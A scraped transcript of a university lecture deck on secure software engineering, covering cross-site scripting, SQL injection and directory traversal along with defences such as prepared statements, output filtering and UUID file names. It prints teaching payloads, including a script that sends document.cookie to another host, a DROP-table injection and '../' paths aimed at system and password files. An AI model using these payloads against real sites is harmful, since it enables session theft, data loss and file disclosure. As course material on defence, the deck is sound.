1 / 26

Secure Software Engineering: Input Vulnerabilities

Secure Software Engineering: Input Vulnerabilities. CPSC 410. Input Vulnerabilities. We all know not to run “ code ” retrieved from suspicious places But passive “ data ” may be interpreted as malicious instructions System.out.println( “ / etc/password ” ); vs.

mariah
Télécharger la présentation

Secure Software Engineering: Input Vulnerabilities

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Secure Software Engineering: Input Vulnerabilities CPSC 410

  2. Input Vulnerabilities • We all know not to run “code” retrieved from suspicious places • But passive “data” may be interpreted as malicious instructions System.out.println(“/etc/password”); vs. File file = new File(“/etc/password”);

  3. 3 Most Common Input Vulnerabilities on Web 1. Cross-site Scripting 2. SQL Injection 3. Directory Traversal See http://www.owasp.com - the Open Web App Security Project

  4. Cross Site Scripting Web browsers should only execute JavaScript from sites that you visit But … Web sites often echo values given as input, e.g. Input: http://www.foo.com?username=‘Eric’ Output page: Hello Eric If we put JavaScript into an input, an output page could include that JavaScript! The tester must assume every data entry point is a possible XSS hole.

  5. Example: Invectus on Macdonald’s http://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E http://www.mcdonalds.com/content/us/en/search/search_results.html? queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E queryText=”><img src=”http://i55.tinypic.com/witu7d.png” height=”650″ width=”1000″> Source:http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/

  6. Malicious Script Input • Basic example (assume URL encoding) http://www.foo.com?username=<script>alert(“Hello World”)</script> • Steal user’s cookies <script type='text/javascript'> var img = document.createElement('img'); img.setAttribute('src', ‘http://localhost:8080?cook=' + escape(document.cookie)); document.body.appendChild(img); </script>

  7. GWT vulnerabilities • JavaScript on your host page that is unrelated to GWT • Code you write that sets innerHTML on GWT Widget objects • Using the JSON API to parse untrusted strings (which ultimately calls JavaScript's eval function) • JavaScript Native Interface (JSNI) code that you write that does something unsafe (such as setting innerHTML, calling eval, writing directly to the document via document.write, etc.) Src: https://developers.google.com/web-toolkit/articles/security_for_gwt_applications#xss

  8. InnerHTML example <html> <head> <script language="JavaScript"> function fillMyDiv(newContent) { document.getElementById('mydiv').innerHTML = newContent; } </script> </head> <body> <p>Some text before mydiv.</p> <div id="mydiv"></div> <p>Some text after mydiv.</p> </body> </html>

  9. GWT Guidelines • Carefully inspect and strip or escape any strings you assign to innerHTML using GWT code • Carefully inspect any JavaScript strings you pass to GWT's JSON parser • Carefully inspect any strings you pass to eval or assign to innerHTML via a JSNI method • Take care in your native JSNI methods to not do anything that would expose you to attacks

  10. Best Solution • Filter any data which is echo’d back to HTML • e.g. • http://josephoconnell.com/java/xss-html-filter/ String input = request.getParameter(“data”); String clean = new HTMLInputFilter().filter( input );

  11. Simple Web App • A Web form that allows the user to look up account details • Underneath – a Java Web application serving the requests

  12. SQL Injection Example • Happy-go-lucky SQL statement: • Leads to SQL injection • One of the most common Web application vulnerabilities caused by lack of input validation • But how? • Typical way to construct a SQL query using string concatenation • Looks benign on the surface • But let’s play with it a bit more… • String query = “SELECT Username, UserID, Password • FROM Users WHERE • username =“ + user + “ AND • password =“ + password;

  13. Injecting Malicious Data (1) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob' AND Password = ‘********‘”

  14. Injecting Malicious Data (2) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob’-- ’ AND Password = ‘‘”

  15. Injecting Malicious Data (3) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob’; DROP Users-- ’ AND Password = ‘‘”

  16. Heart of the Issue: Tainted Input Data SQL injections application database evil hacker Web App input evil input output browser cross-site scripting Insert input checking!

  17. Bobby Tables http://xkcd.com/327/

  18. Mitigating SQL Injection • Always use Prepared Statements or Stored Procedures • Instead of: stmt.execute( "UPDATE EMPLOYEES SET SALARY = “+input1+“ WHERE ID = “ + input2 ); • Use: PreparedStatement pstmt = conn.prepareStatement( "UPDATE EMPLOYEES SET SALARY = ? WHERE ID = ?“ ); pstmt.setBigDecimal(1, input1) pstmt.setInt(2, input2) • The account used to make the database connection must have “Least privilege.” If the application only requires read access then the account must be given read access only. • Avoid disclosing error information: Weak error handling is a great way for an attacker to profile SQL injection attacks.

  19. ‘SQL’ injection on GWT • More a vulnerability of the RPC services • Could send arbitrary data to your datastore (once the Javascript is de-obfuscated) • Also possible to do JDOQL injection • Use Query object and parameters instead of String syntax Query query = pm.newQuery(Employee.class); query.setFilter("lastName == lastNameParam"); query.setOrdering("hireDate desc"); query.declareParameters("String lastNameParam"); … List<Employee> results = (List<Employee>) query.execute("Smith"); query.closeAll();

  20. Recent Examples • On March 27, 2011 mysql.com, the official homepage for MySQL, was compromised • On June 1, 2011, LulzSec steal information from Sony PS3 users • In August, 2011, Hacker Steals User Records From Nokia Developer Site

  21. Directory/Path Traversal See https://www.owasp.org/index.php/Path_Traversal Occurs when user input is used to create the path for reading a file on disk http://myblog.com/view?photo=eric.jpg String file = request.getParameter(“photo”) new File(“/images/” + file);

  22. Directory Traversal Malicious input: http://myblog.com/view?photo=../../../../../Windows/system.ini • Has been used to retrieve • “web.xml” files • Apache conf files • UNIX password files • Other example You let user choose between different style templates and save the template filename in their profile

  23. Example 2 • http://some_site.com.br/get-files.jsp?file=report.pdf • http://some_site.com.br/get-page.php?home=aaa.html • In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory. • http://some_site.com.br/get-files?file=../../../../some dir/some file • http://some_site.com.br/../../../../some dir/some file

  24. Best Solution • Don’t construct file paths from user input • Understand how your web server handles file access. • Create a UUID (Universally Unique IDentifier) for each file and save as a column with data uuid = UUID.randomUUID().toString() File savedFile = File(uuid); • Example database table for images

  25. 2 Rules to Remember • Always assume many users are malicious and want to break your software • Don’t assume a Web site is always accessed through a normal Web Browser Famous last words, “I wrote the JavaScript so that this would never happen”

More Related